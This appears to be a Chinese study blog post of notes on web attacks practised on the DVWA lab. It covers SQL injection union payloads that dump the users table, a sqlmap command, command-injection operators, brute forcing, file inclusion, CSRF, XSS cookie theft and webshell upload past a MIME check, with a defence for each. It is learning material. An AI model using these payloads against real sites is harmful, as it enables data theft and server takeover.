感觉光这个SQL注入真的是多多多,永远在堵和疏的战斗中~sql注入就是逃避过滤,让目标库执行我们的“恶意”sql语言。对于我来言,先抛开工具来说手工注入要精通起码得懂前端和sql结构化查询语言这些。所以在同步学习注入攻击的同时跟着学习sql语言的学习以及些许前端知识吧。信安难,多歧路,今安在……
对于文本型的注入,主要就应考虑引号闭合的问题。(在这里闭合的方法方式不尽相同,关键要看源码)
#是MySQL中的注释符,它把之后的内容都给禁用了
1+2 返回值
3 返回值
'or 1=1 # 显示表所有信息( $getid = SELECT * FROM tables WHERE ID = 变量 $getid = SELECT * FROM tables WHERE ID = 变量 or 1=1 使WHERE失去作用 不作筛选 暴露所有信息)
'union 1,2 # 参数代入替换(select id,username from user;例如这样注入select id,username from user union select id,password from user; 成功就会 union关键字的作用就是使得在username地方出现password【而由于两个参数皆可替换,可以随意替换例如这样‘ union select user,password from users # 当然前提列名数量对称】)
'union select user(),databse() # 可以暴露数据库表
‘union select table_name ,2 from information_schema.tables where table_schema=‘dvwa’ (其中information_schema.tables可以看成数据库综合表当然反过来’ union select 1,table_name from information_schema.tables where table_schema=‘dvwa’ 的显示结果意义差不多)
'union select columu_name,2 from information_schema.columns where table_name=‘users’ #
对比文本型的注入,主要是不用考虑引号闭合的问题。
1+2 返回值
3 返回值
1 and 1=1 返回正确
1 and 1=2 返回错误
1 order by x 直到有正错显对比
and 1=2 union select 1,2,3
union select 1,database(),3
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘dvwa’
(group_concat 拼接函数)
union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’
union select 1,group_concat(id,title,content),3 from news
sqlmap.py -u http://192.168.80.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit --cookie=security=medium; PHPSESSID=2f120ee00f32798d11de936832312549
所谓盲注就是指当我们输入一些特殊字符时,页面并不显示错误提示,这样我们只能通过页面是否正常显示来进行判断。
将DVWA Security设置为low,然后选择SQL Injection (Blind),查看网页源码。可以发现与之前不同的是,在mysql_numrows()函数之前多加了一个@符号,后面的注释说明@符号可以抑制报错信息。
盲注其实对渗透并没有太大影响,我们输入“’ or 1=1 #”仍然可以显示出所有的数据。整个渗透过程也与之前基本一致。
https://yq.aliyun.com/articles/430453(侵删)
里边讲的函数补充:
php mysql_real_escape_string addslashes及mysql绑定参数防SQL注入攻击http://www.manongjc.com/article/1242.html
这些函数都是基于黑名单机制,而如果参数化预编译的白名单机制更安全。
(俺感觉取决于编程的能力吧)
未经过滤 通过系统特殊符号执行系统命令
利用这类漏洞前提得看看web的服务器是什么系统
说实话 我感受不是太深,有待详实
“|”:前面命令输出结果作为后面命令的输入内容;直接执行后边的命令
“||”:前面命令执行失败的时候才执行后面的命令;
“&”:前面命令执行后接着执行后面的命令;
“&&”:前面命令执行成功了才执行后面的命令;
“;”:的用法就是先执行他前面的命令,直到前面命令执行完(无论对与错)就立即执行后面的命令。
PHP得精通啊,泪目………………
EscapeShellCmd()函数可以把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义,比如管道符(|)、分号(;)、重定向(>)、从文件读入(<)等。基于黑名单机制
EscapeShellArg()函数,这个函数是专门用来处理命令的参数的,它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串就可以安全地作为命令的参数。
(谈谈escapeshellarg参数绕过和注入的问题http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/)
挖掘:exec system popen passthru proc_open shell_exec
爆破=爆破工具(BP/Hydra)+字典(用户字典/密码字典)
字典:一些用户名或者口令(弱口令/使用社工软件生成)的集合
BurpSuite:多功能渗透测试工具,渗透测试神器,使用JAVA开发,功能齐全,方便渗透测试人员去测试WEB站点
跑字典比纯暴力快 这也太慢了
Hydra:九头蛇,开源的功能强大的爆破工具,支持的服务有很多,使用Hydra爆破C/S架构的服务
Medusa:美杜莎,开源的,支持爆破的服务有很多种,FTP、SSH、Mssql、Mysql、SNMP等等,在kali系统中有内置
防御:先使用函数过滤魔法引号、变量(使得命令执行漏洞减低近乎0)、增加等待时间等等,再添加验证码,12306的神之验证码 ,基本安全了。
程序开发过程中,将重复利用的函数写入到一个文件里,在使用某些函数时,直接调用这些文件,为无需再次编写,这个过程就是Inclusion。为了灵活,程序员通常又将这些文件设置成变量,动态调用,又不区分文件类型,只要文件内容符合语法规范就可以了,也就造成了可以调用恶意文件的文件包含漏洞。可以读取敏感文件。
PHP中提供了四个文件包含的函数,分别是include()、include_once()、require()和require_once(),它们的区别如下:
require找不到被包含的文件时会产生致命错误,并停止脚本运行。
include找不到被包含的文件时只会产生警告,脚本将继续运行。
include_once与include类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
require_once与require类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
文件包含漏洞挖掘的思路跟之前一样,仍是搜索include()、include_once()、require()和require_once()这些函数,并且观察这些函数所包含的内容是否可以由用户控制,并是否采取了防御措施。
核心防御就是直接不让用户控制任何包含文件
CSRF攻击建立在浏览器与Web服务器的会话中;
欺骗用户访问包含恶意代码的URL,从而执行里边包含的恶意代码。
怎么利用或者是防范呢
HTTP头有个Referer头 记录了请求发送的源地址
如果指向的不是同一个那么就拒绝,以防跨站请求,而Referer头是可以篡改的。
ex:所谓二次确认,就是在调用某些功能时进行二次验证,如:删除用户时,产生一个提示对话框,提示“确定删除用户吗?”。转账操作时,要求用户输入二次密码。另外,设置验证码也可以起到相同的效果。
XSS是指攻击者在网页中嵌入恶意脚本,通常是JavaScript编写的恶意代码,当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码将会在用户的浏览器上执行。因而,XSS与CSRF一样,同属于针对客户端的攻击,这与SQL注入、命令执行、文件包含等针对服务器端的攻击方式有很大不同。
盗取用户cookie;
修改网页内容;
网站挂马;
利用网站重定向;
XSS蠕虫。
XSS攻击分为反射型和存储型两种不同的分类
反射型XSS:未经过滤,嵌入客户端网页恶意代码,制造错误弹窗,防御:htmlspecialchars()函数转义进行过滤,这个函数可以把& (和号)、"(双引号)、’(单引号)、<(小于)、>(大于)这些敏感符号都进行转义,所有的跨站语句中基本都离不开这些符号。
存储型XSS:直接嵌入数据库恶意代码,窃取cookie,有了cookie,hacker通过修改自己的cookie,以管理员的权限对目标进行操作。防御还是进行htmlspecialchars()函数转义过滤。
在未作过滤措施的前提下,将WebShell上传到网站中,从而达到控制网站甚至整个服务器的目的。
一方面可以通过限制上传文件的MIME类型
MIME类型用来设定某种扩展名文件的打开方式,当具有该扩展名的文件被访问时,浏览器会自动使用指定的应用程序来打开,如jpg图片的MIME为image/jpeg。
但是Brupsuit可以修改绕过。怎么绕过呢?
先理解通过Burpsuite的Send to Repeater中修改Content-Type意义:http采用请求/相应模型—请求消息和响应消息都可以包含实体信息,实体信息一般由实体头域和实体组成。实体头域包含关于实体的原信息,实体头包括Allow、Content- Base、Content-Encoding、Content-Language、 Content-Length、Content-Location、Content-MD5、Content-Range、Content-Type、 Etag、Expires、Last-Modified、extension-header。
content-type决定如何展示返回的消息体内容;
在Repeater的左侧窗口中将“Content-Type”修改为“image/jpeg”,也就是让目标接受到展示合法文件的请求,自然也就执行了恶意文件。
最好的办法,也就是下边的白名单策略:
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
上行代码获取上传文件的扩展名,只允许想要你上传的文件类型(白名单形式)。
总结下,如果是什么都不做过滤,随便上传;做了MIME类型过滤,只有规定的类型才可以打开执行,但是通过Burpsuit-Rreapter可以避开(相比较接下来的扩展名探查文件类型,只做了打开方式的限制,我猜是因为通过通过Burpsuit-Rreapter欺骗上传,让其误以为把非法文件上传,从而用合法文件打开方式执行,而没有直接去探查上传的非法文件的真实类型);而做了探查实际上传文件的扩展名(白名单策略),即类型就指定了,只能上传这一种文件。
如果要挖掘上传漏洞,那么就可以在网页代码中搜索**$_FILES这个用于接收上传文件的变量,或是搜索move_uploaded_file**这个用于执行上传操作的函数,然后再分析是否采取了过滤措施。
上传漏洞作为一种主流的攻击方式,其形式是非常多样的,单纯就DVWA中这种上传漏洞而言,定义白名单就是一种不错的防御方式。